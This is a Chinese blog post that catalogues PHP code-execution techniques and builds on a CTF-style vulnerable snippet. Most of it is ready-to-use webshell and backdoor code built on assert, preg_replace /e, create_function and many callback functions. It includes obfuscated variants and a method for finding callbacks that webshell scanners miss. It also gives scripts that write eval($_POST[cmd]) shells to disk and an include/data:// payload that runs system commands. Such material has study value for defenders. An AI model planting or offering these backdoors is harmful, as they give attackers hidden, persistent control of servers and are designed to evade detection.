HacKerQWQ的博客空间

代码执行小总结

Word count: 2.4kReading time: 11 min
2021/04/23 Share

代码执行

漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。
常见代码注射函数:
如:evalpreg_replace+/eassertcall_user_funccall_user_func_arraycreate_function等函数
漏洞危害:执行代码,写入webshell、控制服务器

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

代码执行的几种方式

1
2
3
4
5
6
7
8
9
10
11
${}执行代码//低版本
eval
assert()
preg_replace()
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()
反引号执行
...

${}执行代码

1
${phpinfo()}

eval()执行代码

1
eval('echo 2;');

assert()执行代码

assert支持普通调用和动态调用
普通调用

1
2
//?a=phpinfo()
<?php assert($_POST['a']);?>

php<7.0动态调用

1
2
3
4
5
6
7
8
9
10
//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?>

<?php
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>

php>7字符串调用

1
2
3
<?php
error_reporting(0);
('assert')('system("whoami")');

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

QQ20150718-7@2x.png

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

比如如下回调后门:

1
2
3
4
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

反引号执行

1
php -r "echo @`whoami`;"

preg_replace()

preg_replace用于正则表达式的搜索和替换,关键在于有没有用/e修饰符,如果没用/e修饰符,代码不会执行。

适用版本: php5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$a = 'phpinfo()';
$b = preg_replace("/abc/e",$a,'abcd');

//mb_ereg_replace
<?php
mb_ereg_replace('.*', "phpinfo()", '', 'e');

//preg_filter
<?php
echo preg_filter('|.*|e', $_REQUEST['pass'], '');

//preg_replace_callback,适用于php5.5以后
<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

//mb_ereg_replace_callback,适用于php5.5以后
<?php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

//CallbackFilterIterator
<?php
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {
echo $item;
}

create_function()

用法:

string create_function ( string $args , string $code )
这个函数用于创建匿名函数并且赋给一个变量
内部实现:

1
2
3
4
5
6
7
8
9
$b = create_function('$name','echo $name;');
//实现
function niming($name){
echo $name;
}

$b(yang);

niming('yang');

当create_function()不正确使用时,可以远程代码执行:

1
2
3
4
5
6
7
8
9
10
$id=$_GET['id'];

$code = 'echo $name. '.'的编号是'.$id.'; ';

$b = create_function('$name',$code);
//实现
function niming($name){
echo $name."编号".$id;
}
$b('sd');

传入id=2;}phpinfo();/*
其中/*作用是注释掉后面的}号以及后面的代码
传入后结果:

回调函数

回调函数即使用某一个参数作为函数,其他参数作为其参数的函数,最经典的就是call_user_func函数

常见的有

1
2
3
4
5
6
7
8
9
call_user_func(最经典)
call_user_func_array
array_map
array_filter
usort/uasort
uksort
array_walk
array_walk_recursive
...

array_map()

用法:

array array_map ( callable $callback , array $array1 [, array $… ] )

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
示例:

1
2
3
4
5
//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);

call_user_func()/call_user_func_array()

用法跟array_map()差不多

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

call_user_func()

1
2
//?a=phpinfo();
call_user_func(assert,$GET['a']);

call_user_func_array()

1
2
3
4
//?a=phpinfo();
$array[0] = $_GET['a'];

call_user_func_array("assert",$array);

array_filter()

说明:

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

示例:

1
2
$array[0] = $_GET['a'];
array_filter($array,'assert');

usort()/uasort()

usort说明:

bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

用法一:
php5.6以上可以使用,其中...$_GET是php5.6引入的新特性,作用是将数组展开成参数的形式

1
2
3
4
<?php
// ?1[]=test&1[]=phpinfo();&2=assert
usort(...$_GET);
?>

用法二:
php5.6以下依旧使用$_GET

1
2
// ?1=1+1&2=phpinfo();
usort($_GET,'asse'.'rt');

uksort

与usort相对,是对键进行排序

1
2
3
<?php
$arr = array("test"=>1,"var_dump('uksort')"=>2);
uksort($arr,"assert");

php5.6.39执行如下

image-20230131111403825

查找可用回调函数

目前常见的回调函数都(call_user_func等)被webshell查杀软件列入可疑名单,但是仍然有部分回调函数没有被找到,可通过以下方法快速查找。

PHP官网查阅函数手册,查找可以用作后门的PHP回调函数,根据实际经验,利用下面五个关键词,能提高查找到拥有后门潜质的PHP回调函数的效率:

关键词一:callable

关键词1

关键词二:mixed $options

关键词2

关键词三:handler

关键词3

关键词四:callback

关键词4

关键词五:invoke

关键词5

找到以下函数

1
array_uintersect_assoc/array_uintersect

array_uintersect_assoc — 带索引检查计算数组的交集,用回调函数比较数据

用法

1
array_uintersect_assoc(array $array, array ...$arrays, callable $value_compare_func): array

根据定义写一个一句话木马

1
2
<?php
array_uintersect(array($_POST['cmd']), array(1),'assert');

image-20230201102535555

同理还有

1
2
3
4
array_intersect_uassoc
array_intersect_ukey
array_udiff_assoc
array_udiff_uassoc

按参数个数划分函数

php中,可以执行代码的函数:

  1. 一个参数:assert
  2. 两个参数:assert (php5.4.8+)
  3. 三个参数:preg_replace /e模式

其中assert可以简单使用

1
2
3
4
5
6
7
8
9
10
//php7.0.12以前
<?php
$a = 'assert';
$a($_POST['a']);
?>

//php7
<?php
error_reporting(0);
('assert')('system("whoami")');

如果使用两个参数的用法,则如下

1
2
<?php
assert("var_dump(1)","test");
  • php版本大于5.3.28

结合其他函数的用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//结合uksort
<?php
$arr = array("test"=>1,"var_dump('uksort')"=>2);
uksort($arr,"assert");

//结合usort
<?php
$arr = array("test","var_dump('usort')");
usort($arr,"assert");

//uksort/usort的面向对象写法
<?php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

//其他函数
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

三个参数的则对应preg_replace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$a = 'phpinfo()';
$b = preg_replace("/abc/e",$a,'abcd');

//array_walk+preg_replace
<?php
// $e = $_REQUEST['e'];
$e = "preg_replace";
$arr = array('phpinfo()' => '|.*|e',);
array_walk($arr, $e, '');

//array_walk_recursive+preg_replace
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');


无回显

1
2
3
4
<?php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

好用单参数后门

preg_replace函数受限制于php5.5以前,assert在php7.0.12后不能动态调用,记录一下p牛给出的单参数后门。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
//e=assert&pass=phpinfo();
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

数据库操作后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));

<?php
if(($db = @new PDO('sqlite::memory:')) && ($sql = strrev('TSOP_')) && ($sql = $$sql)) {
$stmt = @$db->query("SELECT '{$sql[b4dboy]}'");
$result = @$stmt->fetchAll(PDO::FETCH_FUNC, str_rot13('nffreg'));
}
?>

<?php
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();

<?php
$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

<?php
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);


文件操作函数

file_put_contents() 函数把一个字符串写入文件中。
fputs() 函数写入文件

1
2
3
4
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
1
2
3
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>

Python

  • system
  • popen
  • subprocess.call
  • spawn

Java

  • java.lang.Runtime.getRuntime().exec(command)

PHP绕过方式

  1. 使用文件包含函数include+伪协议的方式包含恶意代码执行命令

    文件包含的函数

    1
    2
    3
    4
    include
    include_once
    require
    require_once

    payload

    1
    2
    ?cmd=include$_GET[_]?>&_=data://text/plain,<?php system('whoami');?>
    ?cmd=?><?=include$_GET[_]?>&_=data://text/plain,<?php system('whoami');?>

    include忽略空格,分号使用?>替代,将原本要执行的代码放到另一个变量里面传入

参考链接

CATALOG
  1. 1. 代码执行
  2. 2. 代码执行的几种方式
    1. 2.1. ${}执行代码
    2. 2.2. eval()执行代码
    3. 2.3. assert()执行代码
    4. 2.4. 反引号执行
    5. 2.5. preg_replace()
    6. 2.6. create_function()
    7. 2.7. 回调函数
      1. 2.7.1. array_map()
      2. 2.7.2. call_user_func()/call_user_func_array()
      3. 2.7.3. array_filter()
      4. 2.7.4. usort()/uasort()
      5. 2.7.5. uksort
      6. 2.7.6. 查找可用回调函数
        1. 2.7.6.1. 关键词一:callable
        2. 2.7.6.2. 关键词二:mixed $options
        3. 2.7.6.3. 关键词三:handler
        4. 2.7.6.4. 关键词四:callback
        5. 2.7.6.5. 关键词五:invoke
    8. 2.8. 按参数个数划分函数
    9. 2.9. 无回显
    10. 2.10. 好用单参数后门
    11. 2.11. 数据库操作后门
    12. 2.12. 文件操作函数
    13. 2.13. Python
    14. 2.14. Java
  3. 3. PHP绕过方式
  4. 4. 参考链接